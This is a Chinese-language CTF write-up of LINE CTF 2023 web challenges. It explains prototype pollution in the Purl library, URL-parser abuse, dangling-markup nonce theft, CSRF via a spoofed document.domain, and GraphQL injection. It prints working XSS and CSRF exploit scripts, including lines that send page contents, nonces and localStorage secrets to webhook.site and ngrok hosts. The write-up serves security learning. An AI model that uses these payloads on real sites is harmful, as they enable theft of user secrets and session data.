LINE CTF 2023 筆記

[aszx87410]

今年 Water Paddler 拿了第二名，總共 9 題 web 解掉了 8 題（我貢獻了 2 題），整體 web 的難度我覺得去年似乎比較難，今年比的人似乎也比較少一點。

話說最近我發現自己的 writeup 筆記沒有以前這麼多了，其中一個原因是最近比較忙，另一個原因是最近有興趣的題目（client side）沒這麼多，或我也有在想搞不好是隊友越變越強，還沒開題就被隊友解掉，我也懶得再去看題目，於是就懶得寫筆記了XD

這次只記幾題有參與或有興趣的，其他就先省略了。

Flag Masker (9 solves)

這題後端的程式碼很簡單，就是可以建立一個 note，然後輸出是安全的，沒有 XSS 的風險。

有趣的地方是 admin bot 接了一個 extension，程式碼有混淆過但幸好很短，worker.js 如下：

(() => {
  "use strict";
  (() => {
    console.log("Flag Master - worker script is loaded.");
    var e = function(e, n) {
      return n.replace(e, (function(e, r, a) {
        n = n.replace(new RegExp(r, "g"), "*".repeat(r.length)), n += "\x3c!--DETECTED FLAGS ARE MASKED BY EXTENSION--\x3e"
      })), n
    };
    chrome.runtime.onMessage.addListener((function(n, r, a) {
      var t = n.regex ? new RegExp(n.regex, "g") : new RegExp("LINECTF\\{(.+)\\}", "g");
      ! function(e, n) {
        var r = n.head,
          a = n.body;
        return e.test(r + a)
      }(t, n) ? a({
        head: null,
        body: null,
        flag: !1
      }): a({
        head: e(t, n.head),
        body: e(t, n.body),
        flag: !0
      })
    }))
  })()
})();

接收到 message 之後根據傳來的 regexp 去替換畫面上的內容，然後再傳回去。

而 content.js 是這樣：

(() => {
  var t = {
      576: (t, r, e) => {
        var a, n;
        void 0 === (n = "function" == typeof(a = function() {
          var t = {
              a: "href",
              img: "src",
              form: "action",
              base: "href",
              script: "src",
              iframe: "src",
              link: "href",
              embed: "src",
              object: "data"
            },
            r = ["source", "protocol", "authority", "userInfo", "user", "password", "host", "port", "relative", "path", "directory", "file", "query", "fragment"],
            e = {
              anchor: "fragment"
            },
            a = {
              strict: /^(?:([^:\/?#]+):)?(?:\/\/((?:(([^:@]*):?([^:@]*))?@)?([^:\/?#]*)(?::(\d*))?))?((((?:[^?#\/]*\/)*)([^?#]*))(?:\?([^#]*))?(?:#(.*))?)/,
              loose: /^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@]*):?([^:@]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/
            },
            n = /^[0-9]+$/;

          function o(t, e) {
            for (var n = decodeURI(t), o = a[e ? "strict" : "loose"].exec(n), i = {
                attr: {},
                param: {},
                seg: {}
              }, s = 14; s--;) i.attr[r[s]] = o[s] || "";
            return i.param.query = f(i.attr.query), i.param.fragment = f(i.attr.fragment), i.seg.path = i.attr.path.replace(/^\/+|\/+$/g, "").split("/"), i.seg.fragment = i.attr.fragment.replace(/^\/+|\/+$/g, "").split("/"), i.attr.base = i.attr.host ? (i.attr.protocol ? i.attr.protocol + "://" + i.attr.host : i.attr.host) + (i.attr.port ? ":" + i.attr.port : "") : "", i
          }

          function i(t, r) {
            if (0 === t[r].length) return t[r] = {};
            var e = {};
            for (var a in t[r]) e[a] = t[r][a];
            return t[r] = e, e
          }

          function s(t, r, e, a) {
            var o = t.shift();
            if (o) {
              var u = r[e] = r[e] || [];
              "]" == o ? c(u) ? "" !== a && u.push(a) : "object" == typeof u ? u[function(t) {
                var r = [];
                for (var e in t) t.hasOwnProperty(e) && r.push(e);
                return r
              }(u).length] = a : u = r[e] = [r[e], a] : ~o.indexOf("]") ? (o = o.substr(0, o.length - 1), !n.test(o) && c(u) && (u = i(r, e)), s(t, u, o, a)) : (!n.test(o) && c(u) && (u = i(r, e)), s(t, u, o, a))
            } else c(r[e]) ? r[e].push(a) : "object" == typeof r[e] || void 0 === r[e] ? r[e] = a : r[e] = [r[e], a]
          }

          function u(t, r, e) {
            if (~r.indexOf("]")) s(r.split("["), t, "base", e);
            else {
              if (!n.test(r) && c(t.base)) {
                var a = {};
                for (var o in t.base) a[o] = t.base[o];
                t.base = a
              }
              "" !== r && function(t, r, e) {
                var a = t[r];
                void 0 === a ? t[r] = e : c(a) ? a.push(e) : t[r] = [a, e]
              }(t.base, r, e)
            }
            return t
          }

          function f(t) {
            return function(t, r) {
              for (var e = 0, a = t.length >> 0, n = arguments[2]; e < a;) e in t && (n = r.call(void 0, n, t[e], e, t)), ++e;
              return n
            }(String(t).split(/&|;/), (function(t, r) {
              try {
                r = decodeURIComponent(r.replace(/\+/g, " "))
              } catch (t) {}
              var e = r.indexOf("="),
                a = function(t) {
                  for (var r, e, a = t.length, n = 0; n < a; ++n)
                    if ("]" == (e = t[n]) && (r = !1), "[" == e && (r = !0), "=" == e && !r) return n
                }(r),
                n = r.substr(0, a || e),
                o = r.substr(a || e, r.length);
              return o = o.substr(o.indexOf("=") + 1, o.length), "" === n && (n = r, o = ""), u(t, n, o)
            }), {
              base: {}
            }).base
          }

          function c(t) {
            return "[object Array]" === Object.prototype.toString.call(t)
          }

          function d(t, r) {
            return 1 === arguments.length && !0 === t && (r = !0, t = void 0), r = r || !1, {
              data: o(t = t || window.location.toString(), r),
              attr: function(t) {
                return void 0 !== (t = e[t] || t) ? this.data.attr[t] : this.data.attr
              },
              param: function(t) {
                return void 0 !== t ? this.data.param.query[t] : this.data.param.query
              },
              fparam: function(t) {
                return void 0 !== t ? this.data.param.fragment[t] : this.data.param.fragment
              },
              segment: function(t) {
                return void 0 === t ? this.data.seg.path : (t = t < 0 ? this.data.seg.path.length + t : t - 1, this.data.seg.path[t])
              },
              fsegment: function(t) {
                return void 0 === t ? this.data.seg.fragment : (t = t < 0 ? this.data.seg.fragment.length + t : t - 1, this.data.seg.fragment[t])
              }
            }
          }
          return d.jQuery = function(r) {
            null != r && (r.fn.url = function(e) {
              var a, n, o = "";
              return this.length && (o = r(this).attr((a = this[0], void 0 !== (n = a.tagName) ? t[n.toLowerCase()] : n)) || ""), d(o, e)
            }, r.url = d)
          }, d.jQuery(window.jQuery), d
        }) ? a.call(r, e, r, t) : a) || (t.exports = n)
      },
      144: function(t, r, e) {
        "use strict";
        var a = this && this.__importDefault || function(t) {
          return t && t.__esModule ? t : {
            default: t
          }
        };
        Object.defineProperty(r, "__esModule", {
          value: !0
        });
        var n, o, i = a(e(576));
        console.log("Flag Masker - content script is loaded."), n = (0, i.default)(location.href), o = {}, localStorage.config ? o = JSON.parse(localStorage.config) : fetch("/config").then((function(t) {
          return t.json()
        })).then((function(t) {
          localStorage.setItem("config", JSON.stringify(t)), o = t
        })), chrome.runtime.sendMessage({
          regex: o.regex,
          head: window.document.head.innerHTML,
          body: window.document.body.innerHTML
        }).then((function(t) {
          t.flag && (window.document.head.innerHTML = t.head, window.document.body.innerHTML = t.body, fetch(n.data.attr.path + "/alert", {
            referrerPolicy: "unsafe-url"
          }))
        }))
      }
    },
    r = {};
  ! function e(a) {
    var n = r[a];
    if (void 0 !== n) return n.exports;
    var o = r[a] = {
      exports: {}
    };
    return t[a].call(o.exports, o, o.exports, e), o.exports
  }(144)
})();

這個程式碼就比較長一點了，不過在做的事情大概就是先讀取 config，然後把 body 跟 head 的內容都傳給剛剛的 worker 去做取代，取代完之後再放回畫面上，然後有找到符合的內容，回報給 n.data.attr.path + /alert 這個位置。

上面那一大串如果搜尋一下，會發現是來自於 Purl 這個停止維護很久的 library，除了有 prototype pollution 的問題以外，對於網址的 parse 也是漏洞百出。

首先是 prototype pollution，我們只要污染 config 就可以控制 localStorage.config 屬性，傳入我們想要的 regexp，原本想的是可以弄個 ReDos 之類的再看怎麼樣去偵測時間，但後來發現 n.data.attr.path 這個也是可以控制的。

舉例來說，http://web:8000/#@acabc//8cae-ip.ngrok.io 這個網址的 path 會被解析成 //8cae-ip.ngrok.io，所以可以把 request 傳到我們這裡來。

再搭配前面講的 config，就可以知道哪個 regexp 有配對到。

<script>
  const domain = '8cae.ngrok.io'
  const base = 'http://' + domain
  function getUrl(flag) {
    return `http://web:8000/#@acabc//${domain}/${flag}?q[__proto__][config]={"regex":"${flag}"}`
  }

  function report(msg) {
    fetch(base + '?msg=' + msg)
  }

  function visit(str) {
    var w = window.open(getUrl(str))
    setTimeout(() => {
      w.close()
    }, 2000)
  }

  let flag = 'LINECTF{'
  const charset = '0123456789abcdef'
  const sleep = ms => new Promise(r => setTimeout(r, ms))
  async function main() {

    for(let i=0; i<32; i++) {
      for(let c of charset) {
        const str = flag + ".".repeat(i) + c
        visit(str)
        await sleep(100)
      }
    }
  }

  main()
  

</script>

除了這種解法以外，另一種更猛的是直接利用原本的功能做出 XSS，每一個 note 的結構是這樣：

<li>
  <div class="rotate-1 yellow-bg">
    <p>{content}</p>
  </div>
</li>

假設我建立了兩個 note，第一個內容是 " id=a x="，第二個是 LINECTF{rotate-1 yellow-bg"}

HTML 內容就會變成：

<li>
  <div class="rotate-1 yellow-bg">
    <p>" id=a x="</p>
  </div>
</li>
<li>
  <div class="rotate-1 yellow-bg">
    <p>LINECTF{rotate-1 yellow-bg"}</p>
  </div>
</li>

其實 " 在後端一樣會被編碼，所以直接看 source 的話會看到 "，但如果是用 document.body.innerHTML，或許是瀏覽器覺得沒必要 encode，就會看到雙引號，而不是 "，所以雙引號的編碼反倒沒作用了。

接著 extension 介入，把 rotate-1 yellow-bg" 變成 *** 之類的字，就變成：

<li>
  <div class="xxx>
    <p>" id=a x="</p>
  </div>
</li>
<li>
  <div class="xxx>
    <p>LINECTF{xxx}</p>
  </div>
</li>

稍微調整一下新的結構：

<li>
  <div class="xxx><p>" id=a x="</p></div></li><li><div class=" xxx>
    <p>LINECTF{xxx}</p>
  </div>
</li>

前面的一個雙引號被取代掉，跟原本內容開頭的雙引號結合，最後面的 x=" 則跟下一個結合，而中間的 id=a 順利變成了屬性的一部分。

換句話說，我們可以對 div 插入任意屬性，就能利用 focus 的功能做出 XSS，底下是在 Discord 中 Renwa 給的 payload：

note 1:
"tabindex="1"onfocus="eval(window.name)"style="position:relative;height: 20000px; width: 20008px;"autofocus="1"id="jj"x="

note 2:
LINECTF{rotate-1 yellow-bg"}

Report:
@domain.wtf/0ff.html

Contents of 0ff.html:
<!DOCTYPE html>
<html>
<body>
<img src=http://httpstat.us/200?sleep=5000>
<script>
var x= window.open('http://web:3000/8be526fd-e193-436c-a431-84141a0903b9','fetch(`http://web:8000/`,{credentials: "same-origin"}).then(x=>x.text()).then(x=>fetch(`https://webhook.site/603ab026-5a65-432f-a894-5d981fd24198?flag=${btoa(x)}`))');
setTimeout(function(){
x.location='http://web:8000/8be526fd-e193-436c-a431-84141a0903b9#jj'
},500)

</script>


</html>

當時完全沒想到可以這樣，真是厲害。

Another Secure Store Note (7 solves)

這題有個改名字的功能，名字會直接反映在畫面上，是一個 free XSS，但問題是改名字會需要檢查 CSRF token，有一個叫做 getSettings.js 的檔案裡面會有 CSRF token：

function isInWindowContext() {
  const tmp = self;
  self = 1; // magic
  const res = (this !== self);
  self = tmp;
  return res;
}

// Ensure it is in window context with correct domain only :)
// Setting up variables and UI
if (isInWindowContext() && document.domain === '<%= domain %>') {
  const urlParams = new URLSearchParams(location.search);
  try { document.getElementById('error').innerText = urlParams.get('error'); } catch (e) {}
  try { document.getElementById('message').innerText = urlParams.get('message'); } catch (e) {}
  try { document.getElementById('_csrf').value = '<%= csrf %>'; } catch (e) {}
}

這邊會檢查是不是在 window context 以及 document.domain，看到這邊我瞬間想起了 2022 年 10 月的 Intigriti XSS challenge，作者 writeup 在這：https://github.com/0xGodson/blogs/blob/master/_posts/2022-10-14-intigriti-oct-xss-challenge-author-writeup.md

裡面有一個部分是用 web worker 來繞過對 window.location.href 以及 document.domain 的檢查，像是這樣：

// worker.js

window = {}
window.location = {}
document = {}

// send the secret to top window!
window.saveSecret = function(msg){  
	self.postMessage(msg)  
}

window.location.href = "https://challenge-1022.intigriti.io/challenge/create";
document.domain = "challenge-1022.intigriti.io";

// we can use importScripts function from API to import external scripts!
importScripts("https://challenge-1022.intigriti.io/challenge/getSecret.js");

所以這題特別檢查 context 應該是想把這個擋住，但幸好當時在研究 Intigriti 這個的時候，我發現 document.domain 其實可以自己用 Object.defineProperty 硬蓋過去，所以這樣就可以 CSRF：

<script>
  Object.defineProperty(document, 'domain', {
    value: '35.200.57.143'
  })
</script>
<input id="_csrf" />
<script src="https://35.200.57.143:11004/getSettings.js"></script>
<form id=f method=POST action="https://35.200.57.143:11004/profile" target="_blank">
  <input name="name" value="poc">
  <input name="csrf" value="">
</form>

<script>
  const csrf = _csrf.value
  f.csrf.value = csrf
  f.submit()
</script>

再來就是要偷 nonce 了，這題用的瀏覽器是 Firefox，對於 Dangling Markup Injection 似乎沒做什麼防護，可以用 meta redirect 偷到下面的內容：<meta http-equiv=refresh content='0; url=http://43d1-ip.ngrok.io/steal?q=

最後一步就是要阻止 csp.gif 的載入，因為只要這個被載入的話，nonce 就會改變，我花了一個半小時找尋怎麼把它擋掉，原本想說應該可以靠之前提過的 concurrent limit 來防止，但怎麼弄都不成功。

最後發現原本 base-uri 是 self，所以 base 是可以用的，那就用 base 就好了，浪費了一小時 QQ

<script>
  Object.defineProperty(document, 'domain', {
    value: '35.200.57.143'
  })
</script>
<input id="_csrf" />
<script src="https://35.200.57.143:11004/getSettings.js"></script>
<form id=f method=POST action="https://35.200.57.143:11004/profile" target="test">
  <input name="name" value="poc">
  <input name="csrf" value="">
</form>

<script>
  var win = window.open('https://35.200.57.143:11004/profile', 'test')
  fetch('/clear')
  stealNoncePayload = "<base href='https://35.200.57.143:11004/abc/def/'><meta http-equiv=refresh content='0; url=http://43d1-ip.ngrok.io/steal?q="
  const csrf = _csrf.value
  f.csrf.value = csrf
  f.name.value = stealNoncePayload
  
  setTimeout(() => {
    f.submit()
  }, 500)
  

  function poll() {
    fetch('/nonce')
      .then(res => res.text())
      .then(nonce => {
          if (!nonce) {
            return setTimeout(poll, 100)
          }
          f.name.value = `<script nonce=${nonce}>
            location = 'http://43d1-ip.ngrok.io?q='+localStorage.getItem('secret')
          <\/script>`
          f.submit()
      })
  }
  poll()

</script>

Momomomomemomemo (3 solves)

這題隊友解出來的，也滿有趣的，總之就是前端會根據你提供的 id 用 GraphQL 去抓結果：

memo(id) {
    const query = `query { 
        memo (
            id: "${id}", 
            token: "${this.token}") {
                content
            } 
        }`;
    return this.#query(query);
}

在最後 query 的部分是使用了 persisted queries，以前有聽過，大概就是你先送 query 的 hash 出去，如果以前就有執行過的話，會直接送結果回來。

反之若是沒有，你就再送一次 hash + query，讓後端去 cache 結果，而前端的實作是這樣：

async #query(query) {
    const hash = await this.#getQueryHash(query);
    const res = await fetch(
        this.endpoint +
            "?" +
            new URLSearchParams({
                extensions: JSON.stringify({
                    persistedQuery: { version: 1, sha256Hash: hash },
                }),
            }),
        {
            headers: { "Content-type": "application/json" },
        }
    );
    const data = await res.clone().json();
    if (data.errors) {
        if (data.errors[0].extensions.code == "PERSISTED_QUERY_NOT_FOUND") {
            return await fetch(this.endpoint, {
                method: "POST",
                headers: { "Content-type": "application/json" },
                body: JSON.stringify({
                    query,
                    extensions: {
                        persistedQuery: {
                            version: 1,
                            sha256Hash: hash,
                        },
                    },
                }),
            });
        }
    }
    return res;
}

這邊前端也用了 Purl 這個 lib，所以一樣有 prototype pollution 可以用，但這題可以污染什麼呢？答案在底下這一段裡面：

const purl = window.purl

const memoId = purl().param('id')

const gql = new GraphQL(location.origin)

class GraphQL {
    constructor(host, option = {}) {
        this.endpoint = host + "/";
        this.endpoint += option.path || "graphql";
    }
    // ...
}

你可以污染 path，就能操控 option.path，但操控這個可以做什麼？這就跟後端的 i18n 邏輯有關了，實作如下：

// simple i18n
app.use(function (req, res, next) {
    let origPath = req.originalUrl.split('?')[0]
    let origParam = req.originalUrl.split('?')[1]
    let langPath = 'en/'
    
  
    if (origPath.match(/((\/en\/?)|(\/ja\/?))$/) || origPath.match(/^(\/static\/|\/graphql\/?|\/favicon.ico\/?)/)) {
      next()
    } else {
      if (req.headers['accept-language'] && req.headers['accept-language'].split(',')[0] === 'ja') langPath = 'ja/'
      res.redirect(origPath + (origPath.endsWith('/') ? '' : '/') + langPath + (origParam ? '?' + origParam : ''))
    }
  })

要注意的是 req.originalUrl 只會有 path 的部分，所以像 http://chall:11005/abc 的話，originalUrl 就會是 /abc。

靠著上面操控的 path，我們可以把 path 污染成 /huli.tw/，這樣送出的 URL 就是：http://34.85.126.119:11005//huli.tw/?extensions=...，到了後端的 redirect 邏輯，最後就會被導到 //huli.tw/en/?extension=...。

如此一來，就可以靠著 prototype pollution 把 request 導到自己的 server，拿到 query string。

這題的目的是要偷 admin 的 memo，可是我們並不知道 admin memo id，要怎麼辦呢？

仔細看這一段：

memo(id) {
    const query = `query { 
        memo (
            id: "${id}", 
            token: "${this.token}") {
                content
            } 
        }`;
    return this.#query(query);
}

我們可以精心構造一個 id 達成 GraphQL injection，像這樣：

query { 
  memo (
    id: "a", token: "b"
  ) { content }

  memo2: memos(
    token: "${this.token}") {
        content
    } 
}

這樣就變成了兩個 query，原本應該是 memo 的 token 變成了 memos 的 token，就可以拿到所有 admin 的 note。

因此，最後的解法就是先送一次這個改造過的 query，讓 server 把結果存起來，再加上 prototype pollution，讓 request 導到我們的 server，就可以知道 hash 是多少，就能拿到結果。